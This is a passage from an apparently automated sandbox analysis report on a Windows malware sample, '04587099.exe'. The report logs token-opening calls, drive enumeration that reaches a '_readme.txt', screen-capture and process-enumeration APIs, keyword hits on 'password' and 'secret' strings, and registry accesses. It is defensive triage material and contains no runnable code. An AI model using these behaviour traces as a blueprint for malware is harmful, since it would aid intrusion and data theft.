"TokenHandle": "804" "$name": "C:\\04587099.exe"} "04587099.exe" called "NtOpenProcessToken" with parameters {"ProcessHandle": "4294967295" "DesiredAccess": "8" "TokenHandle": "792" "$name": "C:\\04587099.exe"} "04587099.exe" called "NtOpenProcessToken" with parameters {"ProcessHandle": "4294967295" "DesiredAccess": "8" "TokenHandle": "1016" "$name": "C:\\04587099.exe"} "04587099.exe" called "NtOpenProcessToken" with parameters {"ProcessHandle": "4294967295" "DesiredAccess": "8" "TokenHandle": "1028" "$name": "C:\\04587099.exe"}5e:Tbdf,"04587099.exe" called "NtOpenThreadToken" with parameters {"ThreadHandle": "4294967294" "DesiredAccess": "131080" "OpenAsSelf": "1" "TokenHandle": "0" "$status": "c000007c"} "04587099.exe" called "NtOpenThreadToken" with parameters {"ThreadHandle": "4294967294" "DesiredAccess": "131080" "OpenAsSelf": "1" "TokenHandle": "73014444032" "$status": "c000007c"} "04587099.exe" called "NtOpenThreadToken" with parameters {"ThreadHandle": "4294967294" "DesiredAccess": "8" "OpenAsSelf": "1" "TokenHandle": "996432412672" "$status": "c000007c"} "04587099.exe" called "NtOpenThreadToken" with parameters {"ThreadHandle": "4294967294" "DesiredAccess": "131086" "OpenAsSelf": "1" "TokenHandle": "37354000588210176" "$status": "c000007c"} "04587099.exe" called "NtOpenThreadToken" with parameters {"ThreadHandle": "4294967294" "DesiredAccess": "131086" "OpenAsSelf": "1" "TokenHandle": "37351595406524416" "$status": "c000007c"} "04587099.exe" called "NtOpenThreadToken" with parameters {"ThreadHandle": "4294967294" "DesiredAccess": "12" "OpenAsSelf": "1" "TokenHandle": "8498134923087970304" "$status": "c000007c"} "04587099.exe" called "NtOpenThreadToken" with parameters {"ThreadHandle": "4294967294" "DesiredAccess": "12" "OpenAsSelf": "1" "TokenHandle": "186899384535875584" "$status": "c000007c"} "04587099.exe" called "NtOpenThreadToken" with parameters {"ThreadHandle": "4294967294" "DesiredAccess": "12" "OpenAsSelf": "1" "TokenHandle": "187462334489296896" "$status": "c000007c"} "04587099.exe" called "NtOpenThreadToken" with parameters {"ThreadHandle": "4294967294" "DesiredAccess": "14" "OpenAsSelf": "1" "TokenHandle": "0" "$status": "c000007c"} "04587099.exe" called "NtOpenThreadToken" with parameters {"ThreadHandle": "4294967294" "DesiredAccess": "14" "OpenAsSelf": "1" "TokenHandle": "-12884901888" "$status": "c000007c"} "04587099.exe" called "NtOpenThreadToken" with parameters {"ThreadHandle": "4294967294" "DesiredAccess": "14" "OpenAsSelf": "1" "TokenHandle": "187636297844654080" "$status": "c000007c"} "04587099.exe" called "NtOpenThreadToken" with parameters {"ThreadHandle": "4294967294" "DesiredAccess": "14" "OpenAsSelf": "1" "TokenHandle": "187646502686949376" "$status": "c000007c"} "04587099.exe" called "NtOpenThreadToken" with parameters {"ThreadHandle": "4294967294" "DesiredAccess": "12" "OpenAsSelf": "1" "TokenHandle": "37352746457759744" "$status": "c000007c"} "04587099.exe" called "NtOpenThreadToken" with parameters {"ThreadHandle": "4294967294" "DesiredAccess": "131080" "OpenAsSelf": "1" "TokenHandle": "7163378105329909760" "$status": "c000007c"} "04587099.exe" called "NtOpenThreadToken" with parameters {"ThreadHandle": "4294967294" "DesiredAccess": "4" "OpenAsSelf": "1" "TokenHandle": "-7703114439121174528" "$status": "c000007c"} "04587099.exe" called "NtOpenThreadToken" with parameters {"ThreadHandle": "4294967294" "DesiredAccess": "131086" "OpenAsSelf": "1" "TokenHandle": "37356886806233088" "$status": "c000007c"}5f:T87e,"04587099.exe" called "FindNextFileW" with parameter BOOTNXT (UID: 00000000-00005728) "04587099.exe" called "FindNextFileW" with parameter bootTel.dat (UID: 00000000-00005728) "04587099.exe" called "FindNextFileW" with parameter Documents and Settings (UID: 00000000-00005728) "04587099.exe" called "FindNextFileW" with parameter found.000 (UID: 00000000-00005728) "04587099.exe" called "FindNextFileW" with parameter MSOCache (UID: 00000000-00005728) "04587099.exe" called "FindNextFileW" with parameter pagefile.sys (UID: 00000000-00005728) "04587099.exe" called "FindNextFileW" with parameter PerfLogs (UID: 00000000-00005728) "04587099.exe" called "FindNextFileW" with parameter Program Files (UID: 00000000-00005728) "04587099.exe" called "FindNextFileW" with parameter ProgramData (UID: 00000000-00005728) "04587099.exe" called "FindNextFileW" with parameter Recovery (UID: 00000000-00005728) "04587099.exe" called "FindNextFileW" with parameter swapfile.sys (UID: 00000000-00005728) "04587099.exe" called "FindNextFileW" with parameter System Volume Information (UID: 00000000-00005728) "04587099.exe" called "FindNextFileW" with parameter SystemID (UID: 00000000-00005728) "04587099.exe" called "FindNextFileW" with parameter tempdir (UID: 00000000-00005728) "04587099.exe" called "FindNextFileW" with parameter Users (UID: 00000000-00005728) "04587099.exe" called "FindNextFileW" with parameter Windows (UID: 00000000-00005728) "04587099.exe" called "FindNextFileW" with parameter _readme.txt (UID: 00000000-00005728) "04587099.exe" called "FindFirstFileW" with parameter C:\found.000\* (UID: 00000000-00005728) "04587099.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00005728) "04587099.exe" called "FindNextFileW" with parameter dir0000.chk (UID: 00000000-00005728) "04587099.exe" called "FindNextFileW" with parameter dir0001.chk (UID: 00000000-00005728) "04587099.exe" called "FindNextFileW" with parameter dir0002.chk (UID: 00000000-00005728) "04587099.exe" called "FindNextFileW" with parameter dir0003.chk (UID: 00000000-00005728) "04587099.exe" called "FindNextFileW" with parameter dir0005.chk (UID: 00000000-00005728)60:T934,Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "CreateDCA" (Indicator: "CreateDC"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "CreateDCA" (Indicator: "CreateDC"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "CreateDCA" (Indicator: "CreateDC"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp")61:T1201,Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; File: "dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; File: "build2.exe.1057325739") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "11285737664,6804,3113,,FindNextFileW,kernel32.dll,"00:22:58.531",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00004284.00000000.88232.00944000.00000004.mdmp") Found reference to API "11282283180,6804,3113,,FindNextFileW,kernel32.dll,"00:22:58.531",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00004284.00000000.88232.00944000.00000004.mdmp") Found reference to API "11275143782,6804,3113,,FindNextFileW,kernel32.dll,"00:22:58.531",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00004284.00000000.88232.0096E000.00000004.mdmp") Found reference to API "11489322580,6804,3113,,FindNextFileW,kernel32.dll,"00:22:58.609",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00004284.00000000.88232.00DF0000.00000004.mdmp") Found reference to API "11507038145,6804,3113,,FindNextFileW,kernel32.dll,"00:22:58.625",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00004284.00000000.88232.00DF0000.00000004.mdmp") Found reference to API "11510907001,6804,3113,,FindNextFileW,kernel32.dll,"00:22:58.625",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00004284.00000000.88232.00DF0000.00000004.mdmp") Found reference to API "11508378732,6804,3113,,FindNextFileW,kernel32.dll,"00:22:58.625",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00004284.00000000.88232.00DF0000.00000004.mdmp") Found reference to API "11502691702,6804,3113,,FindNextFileW,kernel32.dll,"00:22:58.625",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00004284.00000000.88232.00DF0000.00000004.mdmp") Found reference to API "11503062167,6804,3113,,FindNextFileW,kernel32.dll,"00:22:58.625",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00004284.00000000.88232.00DF0000.00000004.mdmp") Found reference to API "11512445077,6804,3113,,FindNextFileW,kernel32.dll,"00:22:58.625",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00004284.00000000.88232.00DF0000.00000004.mdmp") Found reference to API "11506012899,6804,3113,,FindNextFileW,kernel32.dll,"00:22:58.625",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00004284.00000000.88232.00DF0000.00000004.mdmp") Found reference to API "11504413881,6804,3113,,FindNextFileW,kernel32.dll,"00:22:58.625",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00004284.00000000.88232.00DF0000.00000004.mdmp") Found reference to API "11513217066,6804,3113,,FindNextFileW,kernel32.dll,"00:22:58.625",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00004284.00000000.88232.00DF0000.00000004.mdmp") Found reference to API "11508783743,6804,3113,,FindNextFileW,kernel32.dll,"00:22:58.625",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00004284.00000000.88232.00DF0000.00000004.mdmp") Found reference to API "11503349239,6804,3113,,FindNextFileW,kernel32.dll,"00:22:58.625",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00004284.00000000.88232.00DF0000.00000004.mdmp") Found reference to API "11512814426,6804,3113,,FindNextFileW,kernel32.dll,"00:22:58.625",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00004284.00000000.88232.00DF0000.00000004.mdmp") Found reference to API "11503910372,6804,3113,,FindNextFileW,kernel32.dll,"00:22:58.625",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00004284.00000000.88232.00DF0000.00000004.mdmp") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "11109999709,7004,3113,,FindNextFileW,kernel32.dll,"00:21:00.546",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00005728.00000000.80675.00DC0000.00000004.mdmp") Found reference to API "60781236890,7004,3113,,FindNextFileW,kernel32.dll,"00:21" (Indicator: "FindNextFile"; Source: "00000000-00005728.00000001.82597.00DC0000.00000004.mdmp")62:Te0d,Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin") Found reference to API "EnumProcesses" (Indicator: "EnumProcesses"; File: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "EnumProcessModules" (Indicator: "EnumProcessModules"; File: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "GetCurrentProcessorNumber" (Indicator: "GetCurrentProcess"; File: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; File: "00000000-00005728.00000000.80675.00400000.00000040.mdmp") Found reference to API "Module32First" (Indicator: "Module32First"; File: "00000000-00005728.00000000.80675.00400000.00000040.mdmp") Found reference to API "Module32Next" (Indicator: "Module32Next"; File: "00000000-00005728.00000000.80675.00400000.00000040.mdmp") Found reference to API "GetCurrentProcessorNumber" (Indicator: "GetCurrentProcess"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "Process32First" (Indicator: "Process32First"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "Process32Next" (Indicator: "Process32Next"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "Thread32First" (Indicator: "Thread32First"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "Thread32Next" (Indicator: "Thread32Next"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "Module32First" (Indicator: "Module32First"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "Module32Next" (Indicator: "Module32Next"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "EnumProcesses" (Indicator: "EnumProcesses"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "EnumProcessModules" (Indicator: "EnumProcessModules"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "Process32FirstW" (Indicator: "Process32First"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "Process32NextW" (Indicator: "Process32Next"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp")63:T6d4,Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp")64:Tbc7,Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; File: "dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; File: "dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin") Found reference to API "GetFileInformationByHandleExW" (Indicator: "GetFileInformationByHandle"; File: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "GetFileInformationByHandleExW" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "PathFindFileNameW" (Indicator: "PathFindFileName"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "SHGetSpecialFolderLocation" (Indicator: "SHGetSpecialFolderLocation"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "GetFileInformationByHandleExW" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "PathFindFileNameW" (Indicator: "PathFindFileName"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "SHGetSpecialFolderLocation" (Indicator: "SHGetSpecialFolderLocation"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "GetFileInformationByHandleExW" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "PathFindFileNameW" (Indicator: "PathFindFileName"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "SHGetSpecialFolderLocation" (Indicator: "SHGetSpecialFolderLocation"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp")65:T50e,Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; File: "dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin") Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; File: "dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp")66:T4b1,Found reference to API "GetTickCount" (Indicator: "GetTickCount"; File: "dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin") Found reference to API "GetTickCount64" (Indicator: "GetTickCount"; File: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "GetTickCount" (Indicator: "GetTickCount"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "GetTickCount" (Indicator: "GetTickCount"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "GetTickCount" (Indicator: "GetTickCount"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp")67:T73a,Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; File: "dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; File: "dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "GetUserNameW" (Indicator: "GetUserName"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "GetUserNameW" (Indicator: "GetUserName"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "GetUserNameW" (Indicator: "GetUserName"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp")68:Te75,Found string "bad password read" (Indicator: "password"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found string "problems getting password" (Indicator: "password"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found string "CMS_add0_recipient_password" (Indicator: "password"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found string "CMS_decrypt_set1_password" (Indicator: "password"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found string "CMS_RecipientInfo_set0_password" (Indicator: "password"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found string "no password" (Indicator: "password"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found string "password based MAC" (Indicator: "password"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found string "secretBag" (Indicator: "secret"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found string "secretary" (Indicator: "secret"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found string "bad password read" (Indicator: "password"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found string "problems getting password" (Indicator: "password"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found string "CMS_add0_recipient_password" (Indicator: "password"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found string "CMS_decrypt_set1_password" (Indicator: "password"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found string "CMS_RecipientInfo_set0_password" (Indicator: "password"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found string "no password" (Indicator: "password"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found string "password based MAC" (Indicator: "password"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found string "secretBag" (Indicator: "secret"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found string "secretary" (Indicator: "secret"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found string "bad password read" (Indicator: "password"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found string "problems getting password" (Indicator: "password"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found string "CMS_add0_recipient_password" (Indicator: "password"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found string "CMS_decrypt_set1_password" (Indicator: "password"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found string "CMS_RecipientInfo_set0_password" (Indicator: "password"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found string "no password" (Indicator: "password"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found string "password based MAC" (Indicator: "password"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp")69:T72e,Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; File: "dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; File: "dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp")6a:T5d0,"04587099.exe" (Access type: "CREATE"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS") "lsass.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\W32TIME\SECURETIMELIMITS"; Key: 